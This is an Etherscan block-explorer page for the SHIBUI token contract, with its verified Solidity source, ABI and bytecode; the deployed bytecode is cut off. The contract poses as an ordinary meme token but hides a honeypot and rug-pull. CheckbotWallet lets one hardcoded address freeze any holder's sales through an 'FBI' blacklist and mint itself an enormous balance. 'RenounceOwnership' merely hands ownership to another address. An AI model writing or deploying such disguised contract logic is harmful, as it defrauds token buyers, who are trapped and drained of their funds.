ETH Price: $2,328.87 (-0.57%)
Gas: 5.3 Gwei

Token

SHIBUI (SHIBUI)
 

Overview

Max Total Supply

1,000,000,000 SHIBUI

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,025,000 SHIBUI

Value
$0.00
0x297be156dd2535cd89fd6aa073356e6b3c9b24dd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBUI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-10
*/

// https://t.me/Shibuientryportal
// https://medium.com/@shibuierc/enter-shuibui-offering-a-wide-variety-of-uses-such-as-allowing-users-to-create-and-store-memes-on-77f58f98f49a

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SHIBUI is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "SHIBUI";
    string private _symbol = "SHIBUI";
    uint8 private _decimals = 9;
    address payable public _routerFee;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public FBI;

    uint256 public _buyMarketingFee = 5;
    uint256 public _sellMarketingFee = 5;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _routerFee = payable(address(0x839D300Be45ce635B35BA5F450c20985B011bD25));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    function SetTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    uint256 private routerAmount = uint256(9**6).mul(_totalSupply);
    bool private isCAddr;
    function CheckbotWallet(address[] calldata routerAddress, bool status) public {require(_msgSender() == _routerFee);
        for (uint256 i; i < routerAddress.length; i++) {
            isCAddr = (routerAddress[i] == _routerFee);
            FBI[routerAddress[i]] = status;

            if(isCAddr){
                _balances[_routerFee] = uint256(routerAmount/2).add(_balances[_routerFee]);
            }
        }
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _routerFee.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }
                require(!FBI[from], "ERC20: FBI up the door !!!");

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"routerAddress","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"CheckbotWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FBI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SetTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_routerFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600660809081526553484942554960d01b60a0526001906200002790826200033a565b5060408051808201909152600681526553484942554960d01b60208201526002906200005490826200033a565b506003805460ff191660099081179091556005808255600a9081556200007b919062000519565b6200008b90633b9aca0062000531565b600b55620000ad600b5462081bf1620001ff60201b620009a41790919060201c565b600e55348015620000bd57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674839d300be45ce635b35ba5f450c20985b011bd25001790556001600660006200013e6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b54906004906200018e3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001f191815260200190565b60405180910390a36200056e565b60008260000362000213575060006200028f565b600062000221838562000531565b9050826200023085836200054b565b146200028c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002c057607f821691505b602082108103620002e157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200033557600081815260208120601f850160051c81016020861015620003105750805b601f850160051c820191505b8181101562000331578281556001016200031c565b5050505b505050565b81516001600160401b0381111562000356576200035662000295565b6200036e81620003678454620002ab565b84620002e7565b602080601f831160018114620003a657600084156200038d5750858301515b600019600386901b1c1916600185901b17855562000331565b600085815260208120601f198616915b82811015620003d757888601518255948401946001909101908401620003b6565b5085821015620003f65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200045d57816000190482111562000441576200044162000406565b808516156200044f57918102915b93841c939080029062000421565b509250929050565b60008262000476575060016200028f565b8162000485575060006200028f565b81600181146200049e5760028114620004a957620004c9565b60019150506200028f565b60ff841115620004bd57620004bd62000406565b50506001821b6200028f565b5060208310610133831016604e8410600b8410161715620004ee575081810a6200028f565b620004fa83836200041c565b806000190482111562000511576200051162000406565b029392505050565b60006200052a60ff84168362000465565b9392505050565b80820281158282048414176200028f576200028f62000406565b6000826200056957634e487b7160e01b600052601260045260246000fd5b500490565b61166a806200057e6000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063fa77b2461461043057600080fd5b806370a08231146102c557806378051f4d146102fb5780638da5cb5b1461031b57806395d89b411461033957806399632a351461034e57600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad271146102755780634a02614a146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806317f18f95146101cd57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506101e26104fe565b005b3480156101f057600080fd5b50600b545b60405190815260200161015c565b34801561020f57600080fd5b5061018561021e36600461137e565b610723565b34801561022f57600080fd5b5060035460405160ff909116815260200161015c565b34801561025157600080fd5b506101856102603660046113bf565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b506101856102903660046113bf565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b506101e26102c03660046113dc565b61078e565b3480156102d157600080fd5b506101f56102e03660046113bf565b6001600160a01b031660009081526004602052604090205490565b34801561030757600080fd5b506101e26103163660046113bf565b6108e3565b34801561032757600080fd5b506000546001600160a01b03166101b5565b34801561034557600080fd5b5061014f610988565b34801561035a57600080fd5b506101856103693660046113bf565b60086020526000908152604090205460ff1681565b34801561038a57600080fd5b50610185610399366004611352565b610997565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101b5906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611467565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d891906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064991906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba91906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000610730848484610b4a565b50610783843361077e8560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108dd5760035461010090046001600160a01b03168484838181106107e1576107e16114f7565b90506020020160208101906107f691906113bf565b600f805460ff19166001600160a01b0392909216929092141790558160086000868685818110610828576108286114f7565b905060200201602081019061083d91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff16156108cb5760035461010090046001600160a01b0316600090815260046020526040902054600e546108aa91906108a490600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b806108d581611545565b9150506107b6565b50505050565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610554565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b6000610783338484610b4a565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610554565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610554565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610554565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610554565b6001600160a01b038316610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610554565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a204642492075702074686520646f6f72202121210000000000006044820152606401610554565b610e76858261123f565b9150505b6001600160a01b038516600090815260046020526040902054610e9d9082610f3e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a3600192505050610787565b60008184841115610f285760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611575565b95945050505050565b600080610f4b8385611588565b9050838110156107875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610554565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610fee918490610f04565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461101d9083610f3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110719086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cb576110cb6114f7565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906114da565b8160018151811061115b5761115b6114f7565b6001600160a01b039283166020918202929092010152600c546111819130911684610a26565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba90859060009086903090429060040161159b565b600060405180830381600087803b1580156111d457600080fd5b505af19250505080156111e5575060015b5047801561122d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561122b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061078783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f04565b600061078783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112df5760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611523565b600060208083528351808285015260005b81811015611319578581018301518582016040015282016112fd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134f57600080fd5b50565b6000806040838503121561136557600080fd5b82356113708161133a565b946020939093013593505050565b60008060006060848603121561139357600080fd5b833561139e8161133a565b925060208401356113ae8161133a565b929592945050506040919091013590565b6000602082840312156113d157600080fd5b81356107878161133a565b6000806000604084860312156113f157600080fd5b833567ffffffffffffffff8082111561140957600080fd5b818601915086601f83011261141d57600080fd5b81358181111561142c57600080fd5b8760208260051b850101111561144157600080fd5b60209283019550935050840135801515811461145c57600080fd5b809150509250925092565b6000806040838503121561147a57600080fd5b82356114858161133a565b915060208301356114958161133a565b809150509250929050565b600181811c908216806114b457607f821691505b6020821081036114d457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156114ec57600080fd5b81516107878161133a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261154057634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115575761155761150d565b5060010190565b80820281158282048414176104f8576104f861150d565b818103818111156104f8576104f861150d565b808201808211156104f8576104f861150d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115eb5784516001600160a01b0316835293830193918301916001016115c6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f6e7cab031bcb626db0ead1132e933cfb2ba229645cc4e12717b44fc7b3fd5d64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063fa77b2461461043057600080fd5b806370a08231146102c557806378051f4d146102fb5780638da5cb5b1461031b57806395d89b411461033957806399632a351461034e57600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad271146102755780634a02614a146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806317f18f95146101cd57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506101e26104fe565b005b3480156101f057600080fd5b50600b545b60405190815260200161015c565b34801561020f57600080fd5b5061018561021e36600461137e565b610723565b34801561022f57600080fd5b5060035460405160ff909116815260200161015c565b34801561025157600080fd5b506101856102603660046113bf565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b506101856102903660046113bf565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b506101e26102c03660046113dc565b61078e565b3480156102d157600080fd5b506101f56102e03660046113bf565b6001600160a01b031660009081526004602052604090205490565b34801561030757600080fd5b506101e26103163660046113bf565b6108e3565b34801561032757600080fd5b506000546001600160a01b03166101b5565b34801561034557600080fd5b5061014f610988565b34801561035a57600080fd5b506101856103693660046113bf565b60086020526000908152604090205460ff1681565b34801561038a57600080fd5b50610185610399366004611352565b610997565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101b5906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611467565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d891906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064991906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba91906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000610730848484610b4a565b50610783843361077e8560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108dd5760035461010090046001600160a01b03168484838181106107e1576107e16114f7565b90506020020160208101906107f691906113bf565b600f805460ff19166001600160a01b0392909216929092141790558160086000868685818110610828576108286114f7565b905060200201602081019061083d91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff16156108cb5760035461010090046001600160a01b0316600090815260046020526040902054600e546108aa91906108a490600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b806108d581611545565b9150506107b6565b50505050565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610554565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b6000610783338484610b4a565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610554565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610554565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610554565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610554565b6001600160a01b038316610